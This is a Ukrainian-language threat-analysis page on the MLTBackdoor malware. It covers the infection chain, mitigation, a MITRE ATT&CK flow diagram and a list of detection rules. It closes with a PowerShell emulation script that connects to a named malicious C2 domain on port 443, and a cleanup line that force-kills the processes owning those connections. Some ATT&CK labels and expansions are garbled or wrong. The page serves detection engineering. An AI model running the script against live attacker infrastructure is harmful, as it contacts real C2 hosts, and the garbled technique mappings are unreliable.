Технічний аналіз MLTBackdoor
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Zscaler ThreatLabz ідентифікував нову родину шкідливих програм, MLTBackdoor, у травні 2026 року. Загроза доставляється через багатоступінчастий ланцюжок інфекції ClickFix і, здається, використовується операторами програм-вимагачів для встановлення початкового доступу та підтримки латерального переміщення. Шкідлива програма покладається на сильну обфускацію, алгоритм генерації доменів та завантажувач Beacon Object File (BOF) для розширення своїх можливостей після виконання. Мережеві комунікації цієї програми зашифровані за допомогою TLS і спроектовані для маскування під легітимний трафік Microsoft Delivery Optimization, що допомагає активності злитися зі звичайною мережею.
Розслідування
Аналіз відстежив ланцюжок зараження назад до conhost.exe обгортки, яка завантажувала стиснутий архів з домену, згенерованого через DGA-логіку шкідливої програми. В цьому архіві endpointdlp.dll декодував RC4-зашифроване навантаження, яке потім було завантажено як MLTBackdoor-бінар. Дослідники виявили, що шкідлива програма використовує змішану булеву арифметику, сплощення контрольного потоку, непрямі системні виклики та власний зашифрований протокол зв’язку, щоб утруднити аналіз і виявлення. Вбудований завантажувач BOF також дозволяє операторам запускати додаткові модулі в стилі Cobalt Strike у пам’яті.
Зм’якшення
Захисники повинні заблокувати ідентифіковані домени керування та контролю та відслідковувати відповідні DGA-шаблони. Виявлення повинно також зосередитися на конкретному рядку агенту користувача та TLS-трафіку, спрямованому на /api/v1/telemetry через порт 443. Команди безпеки повинні відстежувати підозріле використання conhost.exe з документованими аргументами та створенням endpointdlp.dll у тимчасових каталогах. Виявлення на основі поведінки для API-гешування та використання непрямих системних викликів можуть додатково покращити видимість активності MLTBackdoor.
Відповідь
Якщо активність MLTBackdoor виявлена, негайно ізолюйте уражений кінцевий пристрій, зупиніть шкідливий процес і видаліть усі файли, скинуті завантажувачем Temp каталогу. Дослідники повинні потім провести судову експертизу на предмет виявлення додаткових модулів BOF або подальших навантажень. Будь-які потенційно скомпрометовані облікові дані слід скинути, а полювання на загрози розширити, щоб виявити спроби латерального переміщення, використовуючи ту ж тактику.
"graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Вузли step_a["<b>Техніка</b> – <b>T1189 Компрометація під час перегляду</b>: Противник хостить шкідливий контент, що доставляється, коли жертва відвідує скомпрометований веб-сайт.<br/><b>Техніка</b> – <b>T1204.001 Виконання користувачем: Шкідливе посилання</b>: Жертва клацає на створене посилання, яке активує запуск навантаження."] class step_a action step_b["<b>Техніка</b> – <b>T1659 Ін’єкція контенту</b>: Шкідливий код в injекціюється у легітимні веб-сторінки, щоб відвідувачі отримували скомпрометований контент."] class step_b action step_c["<b>Техніка</b> – <b>T1553.002 Виконання проксі через підписаний бінарний файл (Оборона)</b>: Використання підписаного бінарного файлу Microsoft Defender для проксі-виконання.<br/><b>Техніка</b> – <b>T1574.001 Викрадення виконання висновку: Підміна порядку пошуку DLL</b>: Завантаження шкідливого коду шляхом маніпуляції порядком вирішення DLL.<br/><b>Техніка</b> – <b>T1218 Виконання проксі через підписаний бінарний файл</b>: Виконання навантаження через довірені підписані бінарні файли."] class step_c action step_d["<b>Техніка</b> – <b>T1027.007 Обфусційовані/Зберігані файли: Вбудоване навантаження</b>: Навантаження обфусційовано з використанням бінарного аналізу макросів (MBA) і формату стислих файлів (CFF) для уникнення виявлення."] class step_d action step_e["<b>Техніка</b> – <b>T1497.001 Уникнення віртуалізації/пісочниці: Перевірка системи</b>: Перевірка на віртуалізовані середовища.<br/><b>Техніка</b> – <b>T1497.003 Уникнення віртуалізації/пісочниці: Часові перевірки</b>: Використовує часові перевірки для виявлення аналізу.<br/><b>Техніка</b> – <b>T1622 Уникнення дебагера</b>: Виявляє наявність дебагерів та змінює поведінку."] class step_e action step_f["<b>Техніка</b> – <b>T1568 Генерація, Обфускування чи Зміна Доменного Імені</b>: Генерація численних доменних імен для управлінняu2011іu2011контролю.<br/><b>Техніка</b> – <b>T1104 Веб-сервіс (зворотний C2)</b>: Використання веб-сервісу як резервного каналу зв’язку."] class step_f action step_g["<b>Техніка</b> – <b>T1090 Проксі</b>: Нові трансферні шляхи C2 через проксі.<br/><b>Техніка</b> – <b>T1205 Сигналізація Трафіку</b>: Кодує інформацію про сигналізацію у легітимному трафіку.<br/><b>Техніка</b> – <b>T1001.003 Обфусційований/Зашифрований Мережевий Трафік: Імітація протоколу</b>: Маскується під звичайний трафік TLS 443 зі спуфованим useru2011agent."] class step_g action step_h["<b>Техніка</b> – <b>T1105 Передача інструменту вхідного зв’язку</b>: Перенос другогоu2011етапного навантаження на скомпрометований вузол по мережі."] class step_h action step_i["<b>Техніка</b> – <b>T1546.006 Виконання запуску на події: Викрадення компонента моделі об’єкту (завантажувач BOF)</b>: Завантаження і виконання Файлів Об’єктів Маяка з використанням завантажувача Буферu2011Overflow (BOF)."] class step_i malware %% Зв’язки step_a –>|лише до| step_b step_b –>|лише до| step_c step_c –>|лише до| step_d step_d –>|лише до| step_e step_e –>|лише до| step_f step_f –>|лише до| step_g step_g –>|лише до| step_h step_h –>|лише до| step_i "
Потік атаки
Виявлення
Утиліта стиснення пройшла незвичайний каталог (через командний рядок)
Переглянути
LOLBAS Conhost (через командний рядок)
Переглянути
Підозріле використання CURL (через командний рядок)
Переглянути
IOC-и (HashSha256) для виявлення: Технічний аналіз MLTBackdoor Частина 2
Переглянути
IOC-и (HashSha256) для виявлення: Технічний аналіз MLTBackdoor Частина 1
Переглянути
Виявити мережеві комунікації MLTBackdoor [Підключення мережі Windows]
Переглянути
Виконання ланцюжка зараження MLTBackdoor [Створення процесу Windows]
Переглянути
Емуляція виконання
Передумова: Перевірка телеметрії та базової лінії повинна бути пройдена.
Обґрунтування: Цей розділ деталізує точне виконання техніки атаки (TTP) розробленої для виявлення правил. Команди та наратив МАЮТЬ безпосередньо відображати виявлені TTP і мають на меті згенерувати конкретну телеметрію, очікувану за логікою виявлення. Абстрактні або непов’язані приклади призведуть до помилкової діагностики.
-
Наратив атаки і команди:
- Рекон – Вирішення домену DGA – Бекдор генерує DNS-запит для
hrs2y15sungu.com, домену, виробленого його внутрішньою DGA. - Контакт C2 – Відкриття TCP-сокету – Використовуючи PowerShell, супротивник створює необроблене TCP-з’єднання до розв’язаного IP на порті 443 (HTTPS) для маскування під звичайний трафік.
- Отримання навантаження (T1105) – Через той самий сокет бекдор отримував би додаткові модулі; для тесту ми просто надсилаємо нешкідливий рядок.
Ці кроки генерують запис Sysmon Event ID 3 з
DestinationHostname = hrs2y15sungu.com, задовольняючи умовамправилоSigma. - Рекон – Вирішення домену DGA – Бекдор генерує DNS-запит для
-
Скрипт регресійного тестування:
# TC-20260610-А7B3Z – Емуляція комунікації C2 MLTBackdoor # ------------------------------------------------------- # 1. Розв'язати шкідливий домен (симуляція виходу DGA) $malDomain = "hrs2y15sungu.com" try { $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString } catch { Write-Error "Не вдалося розв'язати $malDomain – припинення тесту." exit 1 } # 2. Відкрити TCP-з'єднання до розв'язаного IP на порті 443 $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($ip, $port) # 3. Надіслати нешкідливе навантаження (симуляція отримання модуля) $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD") $stream.Write($payload, 0, $payload.Length) # 4. Утримувати з'єднання на кілька секунд, щоб гарантувати генерацію логів Start-Sleep -Seconds 5 # 5. Очистити $stream.Close() $client.Close() Write-Output "Емуляція завершена – з'єднання з $malDomain ($ip:$port) закрито." -
Команди очищення:
# Переконатися, що не залишилися незакриті сокети (у разі, якщо скрипт був припинений) Get-NetTCPConnection -RemotePort 443 | Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }